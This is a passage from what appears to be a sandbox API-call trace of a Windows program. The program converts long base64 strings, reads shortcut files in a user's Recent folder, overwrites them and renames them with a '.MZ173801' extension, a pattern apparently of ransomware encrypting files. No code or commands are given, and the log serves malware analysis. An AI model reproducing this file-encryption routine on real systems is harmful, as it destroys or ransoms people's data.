lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.497] GetCurrentThreadId () returned 0x9fc [0120.497] GetCurrentThreadId () returned 0x9fc [0120.497] GetCurrentThreadId () returned 0x9fc [0120.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.498] GetCurrentThreadId () returned 0x9fc [0120.498] GetCurrentThreadId () returned 0x9fc [0120.498] GetCurrentThreadId () returned 0x9fc [0120.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1VJ5r3V4d2XtN.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1vj5r3v4d2xtn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.499] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.499] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.499] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x491 [0120.499] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.499] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x491, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x491, lpOverlapped=0x0) returned 1 [0120.500] CloseHandle (hObject=0x288) returned 1 [0120.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1VJ5r3V4d2XtN.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1vj5r3v4d2xtn.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.501] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x491, lpOverlapped=0x0) returned 1 [0120.502] CloseHandle (hObject=0x288) returned 1 [0120.503] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1VJ5r3V4d2XtN.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1vj5r3v4d2xtn.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1VJ5r3V4d2XtN.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1vj5r3v4d2xtn.lnk.mz173801")) returned 1 [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] GetCurrentThreadId () returned 0x9fc [0120.504] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf15ada0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf15ada0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf15ada0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="2s62f08alWPRJnfyMl.flv.lnk", cAlternateFileName="2S62F0~1.LNK")) returned 1 [0120.505] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.505] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2s62f08alWPRJnfyMl.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2s62f08alwprjnfyml.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf15ada0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf15ada0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf15ada0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xee2)) returned 1 [0120.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.508] GetCurrentThreadId () returned 0x9fc [0120.508] GetCurrentThreadId () returned 0x9fc [0120.508] GetCurrentThreadId () returned 0x9fc [0120.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.509] GetCurrentThreadId () returned 0x9fc [0120.509] GetCurrentThreadId () returned 0x9fc [0120.509] GetCurrentThreadId () returned 0x9fc [0120.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2s62f08alWPRJnfyMl.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2s62f08alwprjnfyml.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 